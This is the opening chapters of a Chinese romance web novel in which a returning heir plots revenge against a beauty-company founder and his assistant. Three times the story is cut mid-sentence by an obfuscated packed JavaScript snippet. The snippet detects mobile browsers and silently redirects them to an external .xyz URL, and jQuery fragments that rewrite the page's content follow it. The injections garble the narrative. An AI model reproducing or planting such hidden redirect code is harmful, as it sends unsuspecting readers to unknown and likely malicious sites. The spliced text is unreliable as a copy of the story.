《绯闻情人[因恨生爱]》
1. 不夜城
林淮作为东部沿海最繁华的城市之一,素有“不夜之城”的称号。
此时凌晨已过,烟雨濛濛,半空中高耸林立的建筑,在浓浓雾霭中透出水墨晕染般的彩色霓虹。仰首望去,如同缥缈虚妄的海市蜃楼。
高架桥入口处,一辆豪华商务车汇入流光交错的车龙。车身泛着银光,车轮溅起水花,在万千光点中展现睥睨一切的姿态。
车内,两个年轻人规规矩矩地坐在朝后的座椅上,尽管一身名牌,却恭顺得不像富家少爷。
对他们来说,夜生活早就没什么新意了,但今晚的同行者却大有来头——
主座上,陈柯杨微微偏头,冷峻的目光落在窗外流光溢彩的夜色里。
他身着一套剪裁精良的休闲西装,腕间的百达翡丽流淌着低调的光泽。街灯斜斜洒下,抚过他的侧脸,勾勒出雕塑般精致的轮廓,俊美得叫人挪不开眼睛。
坐在他身旁的年轻人比对面两位轻松许多,甚至出言调侃:“二少爷真是精力过人,刚下十几个小时的飞机,又马不停蹄地带我们去夜店消遣。怎么?美利坚的生活就这么乏味吗?”
“Dylan,你胆子肥了,竟敢拿我开涮!”
陈柯杨眉梢轻挑,语调慵懒,却透着股压迫感:“看着家里的老头子,心烦。”
Dylan勾起一抹意味深长的笑:“大少爷在这个节骨眼上出事,董事长再怎么不情愿,润池集团这副重担也只能落到你肩上了。”
对面的Eamon逮到插话机会,忙不迭恭维:“听说二少爷在美国创业的公司已经初具规模了,突然被召回来接手家族企业,实在是可惜了。”
一旁的Thomas也不甘示弱:“润池是市值千亿的跨国集团,掌舵人必是精英中的精英。大少爷的意外固然令人痛心,但凭二少爷的手腕,肯定能带领集团更上一层楼。”
陈柯杨眼里掠过一丝不耐,心里暗暗嘀咕:这是从哪冒出来的AI伪人,虚伪得让人起鸡皮疙瘩。
Dylan深知他的脾气,赶紧扣上两人的话匣子:“今天出来是为了放松,谁要听你们拍马屁?Chris都发话了,今晚只管玩,工作的事回头再说。”
Eamon是个人精,立马岔开话题:“我也在国外待过几年,很能理解二少爷的心情。洋妞虽然热情奔放,但相处起来总有些代沟,哪比得上咱们中国姑娘温柔可人。”
这话倒是没错。陈柯杨对外国女人确实没什么兴趣。准确来说,对于刚满二十四岁的他而言,感情本来就是可有可无的东西。
*
18EVER是一家坐落在泗茗江畔的老牌CLUB,客人以老外居多,装修和服务都算不上顶级,但前几年陈柯杨来过一次,犹记得露台上的夜景十分漂亮,便随口点了这里。
午夜时分,CLUB里燃烧着都市白日未尽的余热,巨大的音浪一波接着一波,震得人鼓膜发颤,心跳跌宕。领舞的女郎裹着性感的紧身短裙,在炫目的灯光中扭动腰肢。舞池中的男男女女也随着狂野的节拍,尽情释放内心的躁动。
Dylan提前订了酒,一进门就被请上了视野最开阔的临窗卡座。
半杯酒下肚,陈柯杨困乏地揉了揉太阳穴。
或许是记忆出了偏差,他从没喜欢过这种喧嚣的场所,又或许是这家店“老外”浓度过高,黑的白的,跟纽约街头没差,令人索然无味。
Eamon见小老板兴致缺缺,马上提议去露台吹吹风。
四人端起酒杯,沿楼梯缓缓而上,入眼便是江对岸高耸入云、霓虹闪烁的商业建筑群,脚下则是宽阔的泗茗江面,点点光影随波荡漾,宛如繁星坠落人间。
尽管天气已经转凉了,露台上的男男女女依旧穿得很单薄,三五成群凑在一起,谈笑风生。
陈柯杨作为集团接班人,跟下属实在没什么深入话题,好在Dylan是他的发小,处事又圆滑周到,总能适时开个玩笑,缓解尴尬。
忽然,Dylan指向露台一角,朝陈柯杨递了个眼色:“你看那个洋妞,身材靓爆了。”
陈柯杨对外国女人没什么兴趣,闻言只是漫不经心地顺着他指尖的方向瞥了一眼——本以为又是个寻常的夜店辣妹,不料这一眼,竟让他怔了片刻。
嚯,这个女人还真的有点靓。
她身形高挑,一袭黑色缎面紧身连衣裙勾勒出玲珑有致的曲线,目测身高至少在175公分往上。
尤其是那双长腿,比例实在惊人,光是腿根的位置就已经高出了旁边男人的腰线。一眼望过去,明晃晃的全是腿。
Dylan怂恿Eamon:“别人来夜店,身边都是美女成群,哪像咱们几个光棍,就知道干巴巴地喝酒。正好那边有个落单的美女,你去搭个讪,把联系方式要来。”
Eamon爱美女,也爱玩乐,但想到身边站着未来的小老板,哪敢表露轻浮的一面,连忙摆手推辞。
Dylan觉得有趣,正想再添把火,忽然感觉手心一凉,低头看,不知是谁往他手里塞了个酒杯。
他下意识抬头,只见陈柯杨不紧不慢地理了理衣领,神色淡然,却语出惊人:“我去要。”
“啊?你要什么?”
三人瞬间石化,眼珠子瞪得滚圆,嘴巴张得能塞下颗鸡蛋——陈柯杨向来对男女之事油盐不进,多少明星超模使尽浑身解数,都换不来他一个正眼。
这是怎么?突然开窍了?
*
陈柯杨径直走到那女人面前,看清了这张此生所见的,最美丽的面庞。
她拥有一张极具辨识度的异国面孔,杏眼明亮而深邃,睫毛纤长如扇,鼻梁高挺如峰,唇瓣薄而红润,精致的轮廓在下颌收敛成利落的尖。
这张脸上的每一根线条都透着凌厉,组合在一起却无比和谐,使她整个人看起来清冷又不失妩媚。
陈柯杨站在遮阳棚下,静静端详了片刻,终于开口:“What''syournationality?”
女人似乎早习惯了这样的搭讪,嘴角微微上扬,用中文回答:“中国。”
陈柯杨正想再说些什么,不巧她的手机响了。
她礼貌地点了点头,示意陈柯杨稍等,随即接起电话:“Hi,Boss,晚上好。”
不知电话那头说了什么,她一直低声应着,直到最后,才玩笑似的抱怨:“不是说好今晚给我放个假吗?”
接着,她的语气又认真起来:“知道了,这就给您送过去。”
挂断电话后,她掀起眼帘看向陈柯杨,眸子里闪烁着淡淡的笑意:“抱歉,午夜也是成年人的工作时间。”
说罢,她端起酒杯,优雅地转身离去,只留下一道摇曳生姿的背影。
这时,Dylan几人从另一侧走过来,见陈柯杨独自站在原地,不免觉得诧异:“你不是搭上话了吗?她怎么走了?”
陈柯杨双臂环胸,淡淡地回答:“她有事。”
“电话要到了吗?”
“没有。”
E
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363424|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
amon忍不住一拍大腿:“有没有搞错!鬼妹要是知道自己错过了林淮首富的搭讪,估计后半辈子都得活在悔恨中。”
Dylan见惯了花花世界,并不觉得有什么可惜:“这种女人,八成是个小外模,没什么文化,圈子又乱套,整天在夜店跟男人鬼混。没缘分算了,改天给你介绍个更漂亮的。”
陈柯杨在国外生活了十年,对外国女人向来没什么兴趣,此刻也只当是被酒精迷了眼睛——
世上的美女多如繁星,她不过是被午夜的霓虹罩上了一层美丽的滤镜罢了。
这段小小的插曲过后,几人没有在CLUB久留。陈柯杨吩咐司机,将自己送回位于国家地质公园一侧的西郊庄园。
*
上世界八十年代,陈老爷子斥巨资请来法国著名设计师,历时整整六年,打造了这座占地近四百亩的私人庄园。从那时起,陈家几代人都在这里定居生活。
每当人们提及西郊这片土地,就会不自觉地联想到润池集团几十年来缔造的商业神话。
十四岁那年,陈柯杨作为不受待见的续弦之子,跟着母亲和同母异父的姐姐远赴北美,没想到十年之后,竟被当作宝贝似的请了回来。
真是世事难料,三十年河东,三十年河西。
这一夜,陈柯杨几乎彻夜无眠,但第二天依旧习惯性地起了早。
下楼走进餐厅时,他的父亲,润池集团现任董事长陈正霖,已经端坐在餐桌主位了。
父子俩上次见面还是在三年前,那时陈正霖刚做完肺癌手术,身体虽然虚弱,但精神头还不错。
而眼前的他已是满头白发,眼神里也不见往昔的锋芒,俨然一个行将就木的小老头。
不过说句公道话,老头其实挺坚强。
回顾他这一辈子,什么大风大浪都挺过来了,唯独在一件事上栽了跟头——他的长子陈柯煜,润池集团未来的当家人,在车祸中脑部重创,成了植物人。
唉,可怜天下父母心。
陈正霖示意陈柯杨坐到自己身边,开门见山道:“听说你在美国学了不少本事,自己创业的项目也很成功。既然有这个能力,就抓紧熟悉集团的业务,有什么需要支持的,尽管开口。”
陈柯杨半眯着眼,似笑非笑:“爸爸,您未免太高看我了。我刚毕业没多久,对家族生意更是一窍不通,您突然把这么重的担子甩过来,真的合适吗?”
陈正霖脸上有点挂不住,沉默片刻,才缓缓开口:“我知道你对我有怨言,但现在陈家遇到了麻烦,你是我的儿子,在这个节骨眼上,也该出一份力。”
说着,他深深叹了口气:“你哥哥的情况很不乐观,医生说他可能这辈子都醒不过来了,我这把老骨头,也不知道还能撑到什么时候,现在你是家里唯一的主心骨了。”
嚯,真是天降横财,千亿家产就这么砸下来,连推辞的余地都没有。
陈柯杨放下手中的餐具,不紧不慢地起身,一步步朝父亲走去。
此刻,他脸上既没有“弃子翻身”的狂喜,也没有“天命加身”的张狂,反而是近乎冷漠的平静,平静之下,隐隐透出一抹锋芒。
陈正霖望着他步步逼近的身影,心头竟莫名紧张起来。此时此刻,他终于意识到,自己这个小儿子真的已经长大了。
半晌后,陈柯杨冷笑出声:“爸,你放心,既然我回来了,自然会接手润池集团。至于那些伤害过我的人——”
“我会让他们,一个个,付出应有的代价。”
2. 旧恩怨
尽管早餐的气氛有点沉闷,陈柯杨的心情却并未受到影响。他换上一套崭新的高定西装,来到润池集团总部,没有惊动任何人,直接进了Dylan的办公室。
Dylan按照他的吩咐,一早便在房间里等候了。
“Hi,Chris,你要的资料我已经发送加密邮件了,统计逻辑有些复杂,我需要和你详细说明一下,现在方便吗?”
“这件事明天再说吧。”
陈柯杨一屁股坐进柔软的真皮沙发,修长的手指松了松脖子上的领带:“合光科技今晚的新品体验会,邀请函搞定了吗?”
“您交代的事,我哪次不是当圣旨来办?小小邀请函,不在话下。”
说着,Dylan递给他一个信封,同时提醒道:“记住你今晚的身份,千万别露馅。”
信封里塞了一张粉色的邀请卡,正面印着陈柯杨的证件照,旁边是一行简短的介绍:“小陈讲美学,时尚美妆博主。”
翻过背面,是一段官方邀请词,大意是合光科技诚邀商务伙伴,提前体验美舒雅品牌即将上市的新品。
“所以,你真的打算从美容护肤这块业务入手?”Dylan忍不住提出心里的疑问。
润池集团三年前收购了意大利护肤品牌爱梵缇Ivanti,虽然目前发展势头不错,但在集团整体业务中占据的份额微乎其微。
陈柯杨作为集团板上钉钉的接班人,就算练手,都没必要选择这块边角料。
陈柯杨没有解释,只是淡淡道:“暂时不要把我回国的消息透露给任何人,如果没有特殊情况,我也不会出现在集团办公室里。执行层面的工作,就有劳你多费心了。”
Dylan扯了扯嘴角,半玩笑半认真地回道:“为小陈总效劳,是我的荣幸。”
Dylan的老爸是集团财务部的高管,他算是个“官二代”。陈柯杨从不怀疑他的人品和办事能力,便没再多说什么。
集团的事暂置一边,陈柯杨驱车返回西郊山庄,为今晚的体验会做准备。
陈家的造型团队接到任务后,便紧锣密鼓地投入工作,为他精心挑选符合“时尚美妆博主”身份的服装和配饰。
等待的间隙,他拿出一份不知翻阅过多少遍的资料,默默看起来——
沈让,36岁,合光科技集团创始人,董事长。
哈佛大学硕士,身高185,八块腹肌,言情小说模板似的霸道总裁。白手起家,身价过亿,钟爱各种豪车、游艇、名表。懂生活,有品位,是整个林淮最炙手可热的黄金单身汉。
以上种种,都是沈让在互联网上的标签。
凭借这些光彩的噱头,他的个人社交账号粉丝数突破800万;合光科技旗下的护肤品牌“美舒雅”连续三年销售额暴涨;几款“黑科技”美容仪更是成为时尚达人化妆桌上的标配。
美容行业的水有多深,圈内人都心照不宣,但像沈让这样热衷于自我炒作的老板,还真真是独一份。
网上关于他的黑料白料五花八门,褒贬不一,唯有陈柯杨最清楚,他那副精英的皮囊之下,究竟藏着一颗怎样恶毒的心——
六年前,陈柯杨同母异父的姐姐池婉月从柯蒂斯音乐学院毕业,顺利入选克利夫兰交响乐团,成为一名年轻的小提琴手,前途一片光明。
也是在那一年,她经朋友牵线,结识了来自中国的商人沈让。这个男人相貌英俊,谈吐不凡,见识广博,给涉世未深的池婉月留下了极佳的印象。
沈让确实不是等闲之辈。他通过多方打听得知,池婉月是润池集团的千金小姐,家族背景深厚,于是便动了心思,对她展开猛烈的追求。
池婉月生性单纯,又缺乏感情经验,从未经历过如此热烈的爱情攻势,很快便沉溺其中,难以自拔。
两人相识不到半年,感情火速升温,很快就步入了订婚阶段。
沉浸在幸福中的池婉月,不久后便发现自己怀孕了。虽说来得突然,却也满心欢喜。
可就在这段时间里,沈让露出了真面目。他和一个外国女郎打得火热,不仅出资供她读书,还明目张胆地安排她在自己身边实习,真是连装都懒得装了。
外界的风言风语很快就传到了池婉月的耳朵里,她不敢相信,那个曾经对自己百般呵护的男人,竟会变得如此无情。
挣扎许久后,她终于鼓起勇气,去向沈让讨个说法。
实际上,沈让早就厌倦了她的幼稚和无趣,而且后来得知,池婉月不过是陈正霖的继女,根本无法继承陈家的任何财产。
这下,他连最后一点耐心都省了,直接撕下伪装,毫不留情地提出分手。
池婉月是个恋爱脑,把爱情看得比命还重要。如今挺着大肚子,又遭遇未婚夫的背叛,只觉得天塌地陷,生不如死。
走投无路之际,她甚至放下自尊,跑到那个外国女人面前,跪地痛哭,祈求对方放她和孩子一条生路。
谁想那个女人心如铁石,非但没有半分怜悯,反而高高在上地将她羞辱一番,字字如刀,句句见血。
池婉月受了极大的刺激,精神几近崩溃。绝望中,她灌下一整瓶威士忌,独自踏上金门大桥,望着脚下翻涌的暗流,纵身一跃......
陈柯杨掐断纷飞的思绪,目光聚焦在正前方的白墙上。
墙上挂着一个醒目的靶子,靶心处,赫然钉着一张男人的照片。
照片中的男人剑眉星目,五官冷峻,身穿剪裁考究的高档西装,腕间的金表在阳光照射下闪烁着冰冷的光芒。
陈柯杨半眯起眼,向后拉臂,猛地发力,掷出一支飞镖。
“啪——”一声脆响,飞镖命中靶心,直穿男人的额头。
“沈让,接下来,该轮到我来会会你,还有你的蛇蝎情妇了。”
*
美舒雅的新品体验会在市区的艺术中心举办。内场四处悬挂着淡金色的布幔,自天花板轻柔垂落,褶皱间光影流转,营造出精致的空间感。
一楼大厅被布置成体验区,银色金属展架上,陈列着即将上市的新品美容仪L7。展厅左侧,几扇雾面玻璃隔出若干私密单间,为嘉宾提供免费的护肤SPA。
陈柯杨一身潮牌入场,白色连帽卫衣叠穿复古机车夹克,直筒拼接工装裤搭配低帮滑板鞋,看起来随性又不失造型感。
他肩宽腿长,身高近一米九,往人群中一站,仿佛自带聚光灯效果,想要低调都难。
不过,他对周围投来的目光视若无睹,径直走到展台前,拿起一台机器仔细端详——
这一版成品的质感比之前的样机提升了不少,不过家用美容仪这玩意儿,技术门槛并不高,真正决定市场成败的,还得是背后的营销手段。
“嘿,帅哥,你也是视频博主吗?”一道爽利的女声打断了陈柯杨的思绪。
他循声看去,只见一个头发染得花花绿绿的小个子女生,正饶有兴味地打量着自己。
“对。”他简短地回答。
“哥们,你绝对是我线下见过最帅的博主了,平台账号是什么?咱们互
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363425|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关一下呗。”
陈柯杨随口应付道:“我正在跟前东家打官司,账号停更了,以后再说吧。”
“靠,资本家没个好东西,不过别担心,咱们这行单干更赚钱。”
突然,她拍了下陈柯杨的手臂,像传授什么秘籍似的悄声说:“美舒雅这几年做得挺好,出手也大方。一会儿你找市场经理聊聊,嘴巴甜点儿,那姐妹儿贼喜欢帅哥,要是能给你新号塞点广子,半年生活费都不愁了。”
陈柯杨礼貌谢过她的好意,目光扫向四周,只见二三十位美妆达人正陆续往楼上走,准备参加美舒雅举办的品牌沙龙。
彩虹毛妹子的情绪明显有点亢奋,她扯了扯陈柯杨的袖子,兴致勃勃地说:“你听说了吗?沈老板今晚也要参加沙龙!他太太太帅了,简直是我的梦中情叔,真怕今晚会晕死在这儿。”
“......”
沙龙开场前五分钟,宴会厅的大门被安保人员缓缓拉开。紧接着,一个身姿挺拔的男人步入会场,瞬间引爆了全场的热情,掌声和压低的惊叹声此起彼伏。
沈让抬起一只手臂,微微欠身,向到场的嘉宾致以谢意。
陈柯杨虽然自诩是个大直男,也不得不承认沈让确实挺帅——他梳着纹丝不乱的背头,五官深邃立体,身形修长挺拔,像衣架子似的撑起那套墨蓝色定制西装,举手投足间,尽显成功人士的魅力。
这样一个成熟、多金,浑身散发着荷尔蒙的男人,一出场便成为全场的焦点,也难怪那么多女孩为他神魂颠倒。
沙龙规模不大,流程也相对简单。沈让无需主持人介绍,径直走上场地中央的圆台,话筒一接,便开始分享自己在产品设计和品牌营销方面的心得。
这家伙口才不错,但满嘴都是脱离实际的价值论,不免有忽悠人的嫌疑。
即便台下掌声阵阵,叫好声不绝,陈柯杨依然对他的真实水平打个问号。
演讲时间只有十分钟,沈让下台后,众人的目光依然痴迷地黏在他身上,追随他来到靠门一侧的贵宾区。
恰在此时,宴会厅的侧门悄然打开,一个身穿黑色礼服的高挑女人出现在大厅里,瞬间分走了大半的注意力。
她显然不想喧宾夺主,因此低调地选择了一套款式保守的小众设计师礼服。光感丝绒面料紧紧包裹着肩膀和手臂,纯黑的色泽干净利落,未添一丝赘饰。乍一看,几乎与墨色的金属门融为一体。
然而,她的面庞白净如瓷,精致的五官在深色背景的映衬下,宛如光影流动的艺术品,美得令人屏息。
她没料到自己的出现会引起一阵小小的骚动,先是一怔,随即点头致歉,然后快步走向前排的贵宾区。
陈柯杨感到很意外,这个女人竟是昨晚在CLUB偶遇的外国女郎。
“我的天啊,是Daria,我怎么没想到她也会来!”彩虹毛妹子语气夸张地低呼了一声。
陈柯杨皱了皱眉,忍不住问道:“Daria是谁?”
彩虹毛妹子一时语塞:“呃......你不是博主吗?平时不上网吗?她最近很火啊。”
就在这时,名为Daria的女人在沈让身旁落座,身子微微倾过去,不知在他耳边说了些什么。
彩虹毛见他神色茫然,只好耐着性子解释:“Daria是沈老板的助理,经常和他一起出席各种活动,因为长得漂亮,网上不少讨论她的。”
“哦?原来如此——”陈柯杨仿佛明白了什么,原本平静无波的眼眸中,瞬间掀起一场凛冽的暴风雪。
3. 锁定你
几位主要负责人演讲结束后,活动进入问答与自由交流环节。陈柯杨不想在这种场合与沈让产生太多交集,便借口去洗手间,悄悄溜出了宴会厅。
此时,窗外的天空已经染上了浓郁的暮色,走廊两侧的鎏金壁灯洒下暖黄的光晕,为忙碌的一天披上温柔的倦意。
陈柯杨避开三三两两的工作人员,来到走廊拐角处,给Dylan发了条消息,让他调查一下沈让身边的女助理。
几秒钟后,Dylan回了个“OK”的表情包。
距离活动结束还有半个小时,陈柯杨想趁这个空档,再去楼下看看美舒雅的新品。
刚抬起脚,忽然听见旁边的洗手间里,传来两个女人响亮又随性的交谈声——
“沈老板不愧是林淮顶配的钻石王老五,举手投足太有魅力了,要是能当我男朋友该多好。”
另一个女人戏谑道:“别做梦了,你当他身边的Daria是吃素的?”
“诚心说,那洋妞真漂亮,脸蛋长得跟建模似的,还有那双大长腿,好家伙,从肚脐眼就开始分叉了。”
“这不废话吗?人家是董事长的贴身助理,没点姿色怎么上位?”
“嘿嘿,不止助理那么简单吧,他俩的事儿不是全世界都知道了?”
“瞧你说的。”那女人嗤笑一声:“难道Daria会在递名片的时候自我介绍:你好,我是沈总的情妇?这种事情,大家心知肚明就得了。”
“真佩服人家的手段!漂亮女人那么多,有几个能攀上大老板?听说沈让为了她,把身家几百亿的豪门未婚妻都给踹了。”
“传说罢了,谁知道真假?反正我是不看好他俩的发展。你想啊,有钱人娶老婆讲究门当户对,Daria家里可乱着呢。”
“反正她也不亏,留学的钱是沈让出的,工作是沈让安排的,如果没有沈老板,撑死就是个吃青春饭的小嫩模。”
“算了,全世界都偏爱美女,咱们也别较真了。再说下去,可真要破防了。”
听到这里,陈柯杨心里的猜测已经有了七八成答案。他收回刚要踏上台阶的脚步,转身折回了宴会厅。
此时交流环节已接近尾声,嘉宾们纷纷起身离场,只剩下几个长期合作的KOL,还在听市场总监激情澎湃地画饼。
陈柯杨扫视一圈,没看到沈让和那个外国女人的身影。想来也不奇怪,以他们的身份,自然不会留下来陪别人收尾。
重新回到一楼,陈柯杨犹豫片刻,还是决定再去体验区转转。
临近下班时间,原本守在展台旁的讲解员早已不见踪影。水晶吊灯的光芒如瀑布般倾泻而下,洒在光滑的大理石地面上,映得空旷的展厅愈发冷清。
陈柯杨站在展架前,目光深沉地盯着那些美容仪,脑海中已然勾勒出一幅宏大的市场蓝图。
哼,沈让不是最珍视自己的事业吗?那我偏要踏进你的领地,将你引以为傲的一切,搅得天翻地覆。
忽然,一阵清脆的高跟鞋声打破了展厅的寂静。
循着声音望去,只见一道倩丽的身影自走廊深处款款走来——Daria身穿黑色紧身礼服,挽着香家最新款的黑色手袋,步步莲花,摇曳生姿。
此时,偌大的展厅里只有两个人,Daria没办法忽视陈柯杨的存在,只能掀起眼皮与他对视一眼,微微点头,算是打了招呼。
她只是在此路过,很快便收回目光,继续朝前走。
“您好,请稍等。”陈柯杨主动开口。
Daria闻声顿住了脚步。
“您好?”她的语调微微上扬,带着一丝疑惑,似乎在等待他的下文。
陈柯杨拿不准她是否认出了自己。她的眼眸太过深邃,像一泓幽潭,仿佛能将所有的情绪无声吞噬。
“我是普林斯顿大学的研究生,今年刚毕业,打算回国找个实习机会。我对贵公司非常感兴趣,方便留个联系方式吗?”
“对合光科技感兴趣?”
Daria转过身来,用那双深不见底的眸子,将陈柯杨从头到脚打量一遍,几秒后才缓缓开口:“当然可以。”
她从手袋中取出一张名片,双手递了过去:“有什么问题,电话联系。”
礼貌性地微笑后,她像所有例行公事的职场人一样,不带半分留恋,转身快步离开。
陈柯杨迅速掏出手机,捕捉到一张婀娜多姿的背影。
***
时间过得飞快,待陈柯杨踏出艺术中心时,天色已经完全暗了下来。他计划今晚去伯父家拜访,时间紧迫,只能催促司机一路紧踩油门。
陈柯杨的伯父陈正华是个很有想法的人,年轻时放着亿万家产不继承,偏要自己创业。他在商海摸爬滚打几十年,如今终于闯出了点名堂,虽说财富比不得润池集团,但至少摆脱了家族斗争,日子过得逍遥又自在。
在大家族里,伯父是少数几个真正尊重他们母子的人。陈柯杨心怀感激,所以每次回国无论多忙都要去探望他。
陈正华住在市中心的高档别墅区,这里每栋小楼占地面积都不大,但胜在地段金贵,近年来硬生生被炒成天价。居住在此的大多是追求高效生活的城中新贵。
银色的迈巴赫缓缓驶入别墅区。
陈柯杨懒洋洋地倚着车窗,目光漫不经心地掠过窗外。一路看下来,每户院子都小得可怜,让人不禁感慨国内房价虚高得离谱。
汽车转入主干道旁的一处岔路,视野中总算出现了一座相对气派的小洋楼。因为占据了拐角位置,花园都比别处宽敞许多。
举目望去,鲜红的玫瑰花竞相绽放,在如墨的夜色中好似一团团燃烧的火焰。
陈柯杨被这难得的景致吸引,示意司机放慢车速。恰在此时,别墅大门缓缓打开,一对年轻男女并肩走了出来。
他们之间没有任何亲昵的动作,但在夜色与玫瑰花丛的掩映下,空气中弥漫着一种说不清、道不明的暧昧气息。
陈柯杨两眼视力5.2,一下子就认出了沈让和他的美女助理Daria。他们并肩穿过花丛,在庭院门口停步,似乎正在亲密地交谈什么。
“呵呵,好一对神仙眷侣。”陈柯杨望着这一幕,嘴角勾起一抹冷笑。
想到惨死在金门大桥下的姐姐,他胸中燃起了一股难以遏制的怒火,整个人像着了魔似的,竟鬼使神差地下了车,目光死死锁定着院子里的风吹草动。
花影摇曳间,那两人只简短地交谈了几句,沈让没有继续相送,而是转身回了别墅。
Daria独自推开大门,一抬眼,正撞上陈柯杨灼灼的目光。
她难得露出诧异的神情,晶亮的眸子如同玫瑰花瓣上的露珠,在夜风中轻轻颤了一下。
陈柯杨虽然满心怒火,却强忍着没有发作,因为他知道,自己此刻的样子,肯定像极了变态跟踪狂。
Daria手里提着一个文件袋,身上依然穿着那条黑色礼裙,只是肩上多了件墨蓝色的男士西装外套,细看之下,正是沈让演讲时穿的那件。
她的目光在陈柯杨身上停留了一瞬,很快便滑向不远处的迈巴赫,似乎在暗暗猜测,这个莫名其妙的男人究竟是什么来头。
陈柯杨再次主动开口,还是一本正经地胡说八道:“我兼职做司机,刚把老板的车开回来,没想到能在这儿遇见你。”
他顿了顿,又补充道:“我家里条件不太好,当网红、当司机,都算勤工俭学。”
说完后,他紧紧盯着Daria的眼睛,试图从中捕捉到一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363426|183805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丝情绪波动,可她浓密的睫毛就像一道天然屏障,将所有心绪都掩藏在了阴影之下。
面对这个捉摸不透的女人,陈柯杨只觉得心里有只猫爪,不停地挠啊挠,挠得他心尖发痒,又无可奈何。
“老板今晚不用车了,我顺路送你一程?”他清了清嗓子,试探着问道。
“谢谢,不用了,我住得很近。”Daria微微蹙眉,语气中透着一种安全距离被侵犯的疏离感。
陈柯杨一时语塞,仿佛周遭的空气都凝固了,无言的尴尬在夜色中流窜,像股凉风,直往人骨缝里钻。
幸好,不远处传来几声犬吠,为他解了围。
转头望去,只见陈正华牵着他的两只宝贝拉布拉多,气喘吁吁地朝这边小跑过来。
陈正华推了推鼻梁上的眼镜,定睛一看,这个身材挺拔的男孩,不正是自己朝思暮盼的大侄子吗?
他一时激动,连声调都高了两度:“哎呀,你这小子!”
陈柯杨面色平静,客气又疏离地唤了一声:“陈总”。
陈正华刚要骂他“小王八羔子”,眼角余光却瞥见了一旁的美丽女人。
他神色一顿,硬生生将嘴边的脏话咽了回去,转而换上礼貌的口吻:“请问这位是......”
Daria隐约觉得陈正华有点面熟,为了避免不必要的误会,她破天荒地主动开口:“你们聊,我就不打扰了。”
直到她窈窕的背影彻底消失在夜色中,陈正华才收回目光,顺手在侄子后背上拍了一掌:“你小子,真是一点没变,走到哪儿都沾花捻草。”
“我哪有——”陈柯杨微微耸肩,像是无声的抗议。
回到家后,两人很自然地聊起了住在同一片小区的沈让。
作为创业者,陈正华对沈让的能力赞不绝口。他坦言,自己的发家史多少借了点陈家的东风,而沈让却是实打实地白手起家。年纪轻轻就有如此成就,可见眼光和魄力非同一般。
陈柯杨懒得听这些浮夸的吹捧,撇了撇嘴,果断岔开话题:“刚才那个女人,你平时经常见到她吗?”
“你说那个黄毛丫头啊,经常半夜过来,我遛狗的时候总能碰上。”陈正华不以为意地反问:"她不是沈让的情人吗?"
陈柯杨的眉头瞬间拧成了疙瘩:“你确定?”
“这附近的人都知道啊,年轻男女整天腻在一块儿,还能是什么关系?怎么?对人家有意思啦?”
“我对外国女人没兴趣。”陈柯杨斜倚在沙发上,语气淡漠:“只是单纯对沈让这个人有点好奇罢了。”
“没兴趣就好!瞧瞧你,一表人才,年轻有为,什么样的姑娘找不到?千万别跟那些不正经的人打交道,小心惹得一身骚。”
陈柯杨嘴角微微下撇,鼻腔里发出一声细微的冷哼,显然不想在这个话题上继续纠缠。
说实话,他被洋妞搅得心烦意乱,原本想和伯父好好聊聊的事情,这下也没了兴致。好在来日方长,也不急于一时。
简单寒暄几句后,他便起身告辞,驱车回了西郊庄园。
一进房间,他立刻将手机里的照片打印出来。
照片中,Daria穿着那条黑色礼裙,置身于巨大的水晶灯前。光影从她身后倾泻而下,将她纤薄的背影勾勒成一道黑色剪影,仿佛与世隔绝,又自然而然地成为整个画面的中心。
端详许久后,陈柯杨将照片钉在靶心上,接着后退几步,手臂一扬——
“啪。”
飞镖破空而出,不偏不倚,正中女人的脊背。
他眯起一只眼睛,用手指圈住远处的靶心,嘴角勾起一抹冰冷的笑。
“现在,你们两个都进了我的狩猎圈。这场游戏,我会让你们付出惨重的代价。”
4. 办入职
回到书房,陈柯杨从口袋里掏出Daria递给他的名片,用微信添加了上面的手机号。
填写备注时,他稍作思索,敲下一行字:我是刚刚与您见面的应届生陈柯杨,想要了解贵司的招聘岗位。
好友申请很快就通过了。
对方的头像是一副淡雅的山水画,昵称叫“杜美芳”,应该是她的本名。
陈柯杨嫌弃地扯了下嘴角,心里暗暗嘀咕:老外真能瞎搞,哪有年轻女孩给自己起这种名字。
点进她的朋友圈,仅一个月可见,内容只有寥寥几条,还都是合光科技的招聘信息。
陈柯杨心里有了判断:这个女人把工作和生活分得很清楚,多半是个职场老油条,不好对付。
正想着,屏幕上方弹出一条语音消息。
他盯着短短的白色语音条,心里莫名生出几分紧张,犹豫好半天,才抬手按下播放键。
万万没想到,听筒里竟传来一道粗哑的男声:“你要应聘实习生是吧?把简历发我看看。”
